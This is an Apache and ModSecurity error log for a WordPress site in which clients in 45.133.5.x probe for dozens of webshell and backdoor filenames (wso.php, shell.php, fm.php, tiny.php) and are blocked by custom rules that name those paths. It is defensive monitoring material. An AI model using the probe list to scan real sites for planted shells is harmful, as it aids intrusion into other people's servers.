[Sat Apr 18 20:57:33.198331 2026] [:error] [pid 13023:tid 13027] [client 45.133.5.230:52615] File does not exist: /usr/local/apache/htdocs/suspended-page/class.api.php
[Sat Apr 18 20:57:33.214982 2026] [:error] [pid 13023:tid 13044] [client 45.133.5.230:52615] [client 45.133.5.230] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aeN_vf1e7hG8DAeABB8RJwAAARM"]
[Sat Apr 18 20:57:33.272632 2026] [:error] [pid 32677:tid 32688] [client 45.133.5.188:55033] File does not exist: /usr/local/apache/htdocs/suspended-page/system_log.php
[Sat Apr 18 20:57:33.292689 2026] [:error] [pid 32677:tid 32698] [client 45.133.5.188:55033] File does not exist: /usr/local/apache/htdocs/suspended-page/.alf.php
[Sat Apr 18 20:57:33.316744 2026] [:error] [pid 32677:tid 32686] [client 45.133.5.188:55033] File does not exist: /usr/local/apache/htdocs/suspended-page/wso.php
[Sat Apr 18 20:57:33.337904 2026] [:error] [pid 32677:tid 32697] [client 45.133.5.188:55033] [client 45.133.5.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aeN_vRngmUE3LdC-wP7djAAAAlE"]
[Sat Apr 18 20:57:33.372615 2026] [:error] [pid 32677:tid 32682] [client 45.133.5.179:60217] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php
[Sat Apr 18 20:57:33.390755 2026] [:error] [pid 32677:tid 32681] [client 45.133.5.179:60217] [client 45.133.5.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aeN_vRngmUE3LdC-wP7djgAAAkE"]
[Sat Apr 18 20:57:33.470126 2026] [:error] [pid 13023:tid 13039] [client 45.133.5.180:50357] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Sat Apr 18 20:57:33.495705 2026] [:error] [pid 13023:tid 13036] [client 45.133.5.180:50357] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Sat Apr 18 20:57:33.516290 2026] [:error] [pid 13023:tid 13047] [client 45.133.5.180:50357] File does not exist: /usr/local/apache/htdocs/suspended-page/setup.php
[Sat Apr 18 20:57:33.618306 2026] [:error] [pid 13023:tid 13025] [client 45.133.5.180:50357] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php
[Sat Apr 18 20:57:33.639422 2026] [:error] [pid 13023:tid 13040] [client 45.133.5.180:50357] File does not exist: /usr/local/apache/htdocs/suspended-page/cc.php
[Sat Apr 18 20:57:33.682951 2026] [:error] [pid 13023:tid 13041] [client 45.133.5.180:50357] File does not exist: /usr/local/apache/htdocs/suspended-page/ab.php
[Sat Apr 18 20:57:33.739436 2026] [:error] [pid 13023:tid 13042] [client 45.133.5.180:50357] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Sat Apr 18 20:57:33.755721 2026] [:error] [pid 13023:tid 13030] [client 45.133.5.180:50357] [client 45.133.5.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aeN_vf1e7hG8DAeABB8ROAAAAQU"]
[Sat Apr 18 20:57:33.788115 2026] [:error] [pid 32677:tid 32689] [client 45.133.5.194:41005] [client 45.133.5.194] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aeN_vRngmUE3LdC-wP7djwAAAkk"]
[Sat Apr 18 20:57:33.824499 2026] [:error] [pid 9865:tid 9944] [client 45.133.5.214:45823] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Sat Apr 18 20:57:33.840028 2026] [:error] [pid 9865:tid 9940] [client 45.133.5.214:45823] [client 45.133.5.214] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aeN_vazb5knECIY-C-iI7wAAAIM"]
[Sat Apr 18 20:57:33.893999 2026] [:error] [pid 32677:tid 32704] [client 45.133.5.162:40629] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Sat Apr 18 20:57:33.913559 2026] [:error] [pid 32677:tid 32702] [client 45.133.5.162:40629] [client 45.133.5.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aeN_vRngmUE3LdC-wP7dkgAAAlY"]
[Sat Apr 18 20:57:33.955215 2026] [:error] [pid 13023:tid 13049] [client 45.133.5.182:49731] [client 45.133.5.182] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aeN_vf1e7hG8DAeABB8ROQAAARg"]
[Sat Apr 18 20:57:34.074331 2026] [:error] [pid 13023:tid 13038] [client 45.133.5.179:63733] [client 45.133.5.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeN_vv1e7hG8DAeABB8RPgAAAQ0"]
[Sat Apr 18 20:57:34.114798 2026] [:error] [pid 9865:tid 9939] [client 45.133.5.208:52149] [client 45.133.5.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aeN_vqzb5knECIY-C-iI8QAAAII"]
[Sat Apr 18 20:57:34.209933 2026] [:error] [pid 9865:tid 9952] [client 45.133.5.212:34215] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Sat Apr 18 20:57:34.246581 2026] [:error] [pid 9865:tid 9953] [client 45.133.5.212:34215] [client 45.133.5.212] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aeN_vqzb5knECIY-C-iI9wAAAJA"]
[Sat Apr 18 20:57:34.331923 2026] [:error] [pid 9865:tid 9946] [client 45.133.5.205:60583] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/atomlib.php
[Sat Apr 18 20:57:34.366395 2026] [:error] [pid 9865:tid 9945] [client 45.133.5.205:60583] [client 45.133.5.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/function.php"] [unique_id "aeN_vqzb5knECIY-C-iI-wAAAIg"]
[Sat Apr 18 20:57:34.397852 2026] [:error] [pid 9865:tid 9938] [client 45.133.5.175:33115] [client 45.133.5.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aeN_vqzb5knECIY-C-iI_AAAAIE"]
[Sat Apr 18 20:57:34.452156 2026] [:error] [pid 9865:tid 9955] [client 45.133.5.205:32993] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-content.php
[Sat Apr 18 20:57:34.469223 2026] [:error] [pid 9865:tid 9958] [client 45.133.5.205:32993] [client 45.133.5.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aeN_vqzb5knECIY-C-iI_wAAAJU"]
[Sat Apr 18 20:57:34.503873 2026] [:error] [pid 13023:tid 13036] [client 45.133.5.203:21045] [client 45.133.5.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aeN_vv1e7hG8DAeABB8RPwAAAQs"]
[Sat Apr 18 20:57:34.572476 2026] [:error] [pid 9865:tid 9951] [client 45.133.5.208:33729] File does not exist: /usr/local/apache/htdocs/suspended-page/customize.php
[Sat Apr 18 20:57:34.591995 2026] [:error] [pid 9865:tid 9939] [client 45.133.5.208:33729] File does not exist: /usr/local/apache/htdocs/suspended-page/license.php
[Sat Apr 18 20:57:34.638204 2026] [:error] [pid 9865:tid 9947] [client 45.133.5.208:33729] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Sat Apr 18 20:57:34.675454 2026] [:error] [pid 9865:tid 9942] [client 45.133.5.208:33729] [client 45.133.5.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aeN_vqzb5knECIY-C-iJBwAAAIU"]
[Sat Apr 18 20:57:34.708408 2026] [:error] [pid 13023:tid 13031] [client 45.133.5.175:22907] [client 45.133.5.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aeN_vv1e7hG8DAeABB8RQQAAAQY"]
[Sat Apr 18 20:57:34.799480 2026] [:error] [pid 13023:tid 13046] [client 45.133.5.202:48593] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Sat Apr 18 20:57:36.227263 2026] [:error] [pid 13023:tid 13046] [client 45.133.5.202:48593] [client 45.133.5.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/index.php"] [unique_id "aeN_wP1e7hG8DAeABB8RRwAAARU"]
[Sat Apr 18 20:57:36.268343 2026] [:error] [pid 9864:tid 9909] [client 45.133.5.188:47933] [client 45.133.5.188] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aeN_wICFeowknfXHM7kh-QAAAEQ"]
[Sat Apr 18 20:57:36.301771 2026] [:error] [pid 9864:tid 9910] [client 45.133.5.225:32305] [client 45.133.5.225] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aeN_wICFeowknfXHM7kh-gAAAEU"]
[Sat Apr 18 20:57:36.420965 2026] [:error] [pid 9864:tid 9927] [client 45.133.5.164:28093] File does not exist: /usr/local/apache/htdocs/suspended-page/ff2.php
[Sat Apr 18 20:57:36.436654 2026] [:error] [pid 9864:tid 9921] [client 45.133.5.164:28093] [client 45.133.5.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aeN_wICFeowknfXHM7kiAAAAAE8"]
[Sat Apr 18 20:57:36.489503 2026] [:error] [pid 32647:tid 32650] [client 45.133.5.177:50937] [client 45.133.5.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aeN_wEkxooM0iRo6e54ktwAAAgA"]
[Sat Apr 18 20:57:36.523359 2026] [:error] [pid 32647:tid 32664] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/jp.php
[Sat Apr 18 20:57:36.543621 2026] [:error] [pid 32647:tid 32656] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-atom.php
[Sat Apr 18 20:57:36.581054 2026] [:error] [pid 32647:tid 32674] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/up.php
[Sat Apr 18 20:57:36.656350 2026] [:error] [pid 32647:tid 32665] [client 45.133.5.177:32459] [client 45.133.5.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.177, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/js/wp-login.php"] [unique_id "aeN_wEkxooM0iRo6e54kvwAAAg8"]
[Sat Apr 18 20:57:36.697136 2026] [:error] [pid 32647:tid 32655] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/worm.PhP
[Sat Apr 18 20:57:36.721496 2026] [:error] [pid 32647:tid 32653] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/ext.php
[Sat Apr 18 20:57:36.741085 2026] [:error] [pid 32647:tid 32667] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/delpaths.php
[Sat Apr 18 20:57:36.774922 2026] [:error] [pid 32647:tid 32669] [client 45.133.5.177:32459] [client 45.133.5.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.177, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aeN_wEkxooM0iRo6e54kxQAAAhM"]
[Sat Apr 18 20:57:36.833483 2026] [:error] [pid 32647:tid 32662] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Sat Apr 18 20:57:36.852158 2026] [:error] [pid 32647:tid 32654] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Sat Apr 18 20:57:36.890474 2026] [:error] [pid 32647:tid 32673] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/update-core.php
[Sat Apr 18 20:57:36.931692 2026] [:error] [pid 32647:tid 32668] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Sat Apr 18 20:57:36.991925 2026] [:error] [pid 32647:tid 32664] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/content.php
[Sat Apr 18 20:57:37.138735 2026] [:error] [pid 32647:tid 32665] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/aa.php
[Sat Apr 18 20:57:37.157338 2026] [:error] [pid 32647:tid 32651] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/index2.php
[Sat Apr 18 20:57:37.271141 2026] [:error] [pid 32647:tid 32669] [client 45.133.5.177:32459] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Sat Apr 18 20:57:37.312299 2026] [:error] [pid 32647:tid 32657] [client 45.133.5.177:32459] [client 45.133.5.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "aeN_wUkxooM0iRo6e54k4AAAAgc"]
[Sat Apr 18 20:57:37.393938 2026] [:error] [pid 32647:tid 32673] [client 45.133.5.175:36677] File does not exist: /usr/local/apache/htdocs/suspended-page/hehe.php
[Sat Apr 18 20:57:37.409124 2026] [:error] [pid 32647:tid 32671] [client 45.133.5.175:36677] [client 45.133.5.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aeN_wUkxooM0iRo6e54k5AAAAhU"]
[Sat Apr 18 20:57:37.463841 2026] [:error] [pid 32647:tid 32661] [client 45.133.5.170:54715] File does not exist: /usr/local/apache/htdocs/suspended-page/dir.php
[Sat Apr 18 20:57:37.479202 2026] [:error] [pid 32647:tid 32664] [client 45.133.5.170:54715] [client 45.133.5.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/atomlib.php"] [unique_id "aeN_wUkxooM0iRo6e54k5wAAAg4"]
[Sat Apr 18 20:57:37.565585 2026] [:error] [pid 13023:tid 13027] [client 45.133.5.205:62227] File does not exist: /usr/local/apache/htdocs/suspended-page/nf_tracking.php
[Sat Apr 18 20:57:37.601994 2026] [:error] [pid 13023:tid 13033] [client 45.133.5.205:62227] File does not exist: /usr/local/apache/htdocs/suspended-page/filefuns.php
[Sat Apr 18 20:57:37.637517 2026] [:error] [pid 13023:tid 13034] [client 45.133.5.205:62227] File does not exist: /usr/local/apache/htdocs/suspended-page/l.php
[Sat Apr 18 20:57:37.656903 2026] [:error] [pid 13023:tid 13036] [client 45.133.5.205:62227] File does not exist: /usr/local/apache/htdocs/suspended-page/repeater.php
[Sat Apr 18 20:57:37.695004 2026] [:error] [pid 13023:tid 13029] [client 45.133.5.205:62227] [client 45.133.5.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "aeN_wf1e7hG8DAeABB8RUQAAAQQ"]
[Sat Apr 18 20:57:37.734860 2026] [:error] [pid 9865:tid 9938] [client 45.133.5.206:31539] File does not exist: /usr/local/apache/htdocs/suspended-page/contacts.php
[Sat Apr 18 20:57:37.755398 2026] [:error] [pid 9865:tid 9959] [client 45.133.5.206:31539] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Sat Apr 18 20:57:37.778848 2026] [:error] [pid 9865:tid 9937] [client 45.133.5.206:31539] [client 45.133.5.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aeN_wazb5knECIY-C-iJCwAAAIA"]
[Sat Apr 18 20:57:37.849871 2026] [:error] [pid 9865:tid 9954] [client 45.133.5.196:54441] [client 45.133.5.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aeN_wazb5knECIY-C-iJDQAAAJE"]
[Sat Apr 18 20:57:37.912266 2026] [:error] [pid 13023:tid 13035] [client 45.133.5.206:40747] File does not exist: /usr/local/apache/htdocs/suspended-page/lv.php
[Sat Apr 18 20:57:37.966906 2026] [:error] [pid 13023:tid 13040] [client 45.133.5.206:40747] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
[Sat Apr 18 20:57:37.985493 2026] [:error] [pid 13023:tid 13048] [client 45.133.5.206:40747] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/admin.php
[Sat Apr 18 20:57:38.001107 2026] [:error] [pid 13023:tid 13043] [client 45.133.5.206:40747] [client 45.133.5.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aeN_wv1e7hG8DAeABB8RWAAAARI"]
[Sat Apr 18 20:57:38.036225 2026] [:error] [pid 9970:tid 9997] [client 45.133.5.202:65107] [client 45.133.5.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "aeN_wiYdRLRhVmaIMx27VgAAANc"]
[Sat Apr 18 20:57:38.187503 2026] [:error] [pid 9970:tid 9976] [client 45.133.5.196:40193] File does not exist: /usr/local/apache/htdocs/suspended-page/tox.php
[Sat Apr 18 20:57:38.226597 2026] [:error] [pid 9970:tid 9995] [client 45.133.5.196:40193] [client 45.133.5.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/dist/default.php"] [unique_id "aeN_wiYdRLRhVmaIMx27XgAAANU"]
[Sat Apr 18 20:57:38.285964 2026] [:error] [pid 9865:tid 9957] [client 45.133.5.202:48301] [client 45.133.5.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tiny.php"] [unique_id "aeN_wqzb5knECIY-C-iJEAAAAJQ"]
[Sat Apr 18 20:57:38.341744 2026] [:error] [pid 9865:tid 9949] [client 45.133.5.193:24657] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php
[Sat Apr 18 20:57:38.362779 2026] [:error] [pid 9865:tid 9947] [client 45.133.5.193:24657] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-themes.php
[Sat Apr 18 20:57:38.378488 2026] [:error] [pid 9865:tid 9961] [client 45.133.5.193:24657] [client 45.133.5.193] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aeN_wqzb5knECIY-C-iJFAAAAJg"]
[Sat Apr 18 20:57:38.432721 2026] [:error] [pid 9865:tid 9956] [client 45.133.5.228:47689] File does not exist: /usr/local/apache/htdocs/suspended-page/mariju.php
[Sat Apr 18 20:57:38.453472 2026] [:error] [pid 9865:tid 9941] [client 45.133.5.228:47689] File does not exist: /usr/local/apache/htdocs/suspended-page/waf_defender.php
[Sat Apr 18 20:57:38.503250 2026] [:error] [pid 9865:tid 9953] [client 45.133.5.228:47689] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
